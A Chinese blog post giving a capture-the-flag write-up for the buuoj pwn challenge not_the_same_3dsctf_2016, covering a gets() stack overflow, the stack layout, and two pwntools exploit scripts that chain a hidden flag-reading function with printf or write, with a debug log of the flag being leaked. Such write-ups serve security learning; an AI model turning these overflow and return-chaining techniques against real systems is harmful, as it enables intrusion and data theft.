CTF buuoj pwn-----第11题: not_the_same_3dsctf_2016


1. 解题分析

IDA之后,有几个函数值得分析:

  • 1.main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[45]; // [esp+Fh] [ebp-2Dh] BYREF

  printf("b0r4 v3r s3 7u 4h o b1ch4o m3m0... ");
  gets(v4);
  return 0;
}

gets函数可以栈溢出,修改main函数的返回地址r,去跳转执行,

首先需要覆盖b’a’*45个单位
接着把后门函数 get_secret的地址写到r地址
然后,调用printf()函数,或者write()函数写出来.

  • 1.1 main函数栈帧:
-0000003C ; D/A/*   : change type (data/ascii/array)
-0000003C ; N       : rename
-0000003C ; U       : undefine
-0000003C ; Use data definition commands to create local variables and function arguments.
-0000003C ; Two special fields " r" and " s" represent return address and saved registers.
-0000003C ; Frame size: 3C; Saved regs: 0; Purge: 0
-0000003C ;
-0000003C
-0000003C var_3C          dd ?
-00000038                 db ? ; undefined
-00000037                 db ? ; undefined
-00000036                 db ? ; undefined
-00000035                 db ? ; undefined
-00000034                 db ? ; undefined
-00000033                 db ? ; undefined
-00000032                 db ? ; undefined
-00000031                 db ? ; undefined
-00000030                 db ? ; undefined
-0000002F                 db ? ; undefined
-0000002E                 db ? ; undefined
-0000002D v4          db 45 dup(?)
+00000000  r              db 4 dup(?)
+00000004 argc            dd ?
+00000008 argv            dd ?                    ; offset
+0000000C envp            dd ?                    ; offset
+00000010
+00000010 ; end of stack variables
  • 2.后门函数 get_secret :
int get_secret()
{
  int v0; // esi

  v0 = fopen("flag.txt", &unk_80CF91B);  
  fgets(&fl4g, 45, v0);
  return fclose(v0);
}

fopen()函数 :如果成功的打开一个文件, fopen()函数返回文件指针;

fgets函数把flag.txt写入到了fl4g这个地址了
用printf()函数,或write()函数把flag写出来.

2. 编写exp

2.1 利用printf()

from pwn import *

context.log_level = 'debug'


sh = remote('node4.buuoj.cn', 25436)  
elf = ELF('./not_the_same_3dsctf_2016')  

get_secret_addr = 0x080489A0
exit_addr =  0x0804E660
fl4g_addr = 0x080ECA2D
main_addr =  elf.sym['main']
printf_addr = elf.sym['printf']

payload = b'a'*45 + p32(get_secret_addr)+p32(printf_addr)+p32(exit_addr)+p32(fl4g_addr)

sh.sendline(payload)
sh.interactive()

2.2 利用write

from pwn import *

context.log_level='debug'


sh = remote('node4.buuoj.cn', 27197)  
elf = ELF('./not_the_same_3dsctf_2016')  


get_secret_addr = 0x080489A0
write_addr = 0x0806E270
exit_addr =  0x0804E660
fl4g_addr = 0x080ECA2D
main_addr =  elf.sym['main']

payload = b'a'*45 + p32(get_secret_addr)+p32(write_addr)+p32(main_addr)+p32(1)+p32(fl4g_addr)+p32(55)


sh.sendline(payload)
sh.interactive()

2.3 更改权限

等待更新…\

  • bss是指那些没有初始化的和初始化为0的全局变量

  • bss类型的全局变量只占运行时的内存空间,而不占文件空间。

  • data类型的全局变量是既占文件空间,又占用运行时内存空间的。

  • rodata 的意义同样明显,ro代表read only,即只读数据(const)

  • 在运行过程中不会改变的数据设为 rodata 类型的,是有很多好处的:在多个进程间共享,可以大大提高空间利用率,甚至不占用RAM空间。同时由于 rodata 在只读的内存页面(page)中,是受保护的,任何试图对它的修改都会被及时发现,这可以帮助提高程序的稳定性
    bss、data和rodata区别与联系
    各内存区段的介绍

  • 在Linux中,mprotect()函数可以用来修改一段指定内存区域的保护属性。

    • nt mprotect(const void *start, size_t len, int prot);
      mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值

3. 运行exp,获取flag

bing@bing-virtual-machine:~/pwn$ python3 not_the_same_3dsctf_2016.py 
[+] Opening connection to node4.buuoj.cn on port 27197: Done
[DEBUG] '/home/bing/pwn/not_the_same_3dsctf_2016' is statically linked, skipping GOT/PLT symbols
[*] '/home/bing/pwn/not_the_same_3dsctf_2016'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[DEBUG] Sent 0x46 bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    *
    00000020  61 61 61 61  61 61 61 61  61 61 61 61  61 a0 89 04  │aaaa│aaaa│aaaa│a···│
    00000030  08 70 e2 06  08 e0 89 04  08 01 00 00  00 2d ca 0e  │·p··│····│····│·-··│
    00000040  08 37 00 00  00 0a                                  │·7··│··│
    00000046
[*] Switching to interactive mode
[DEBUG] Received 0x37 bytes:
    00000000  66 6c 61 67  7b 30 61 62  33 32 63 61  39 2d 37 33  │flag│{0ab32ca9-7300000010  31 64 2d 34  38 63 31 2d  62 32 65 61  2d 31 31 351d-48c1-│b2ea│-11500000020  62 64 37 65  35 32 61 62  31 7d 0a 00  00 00 00 00  │bd7e│52ab1}··│····│
    00000030  00 00 00 28  00 00 00                               │···(│···│
[   00000037
flag{0ab32ca9-731d-48c1-b2ea-115bd7e52ab1}
\x00\x00\x00\x00(\x00\x00[*] Got EOF while reading in interactive
$ 
[*] Interrupted
[*] Closed connection to node4.buuoj.cn port 27197

flag{0ab32ca9-731d-48c1-b2ea-115bd7e52ab1}

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值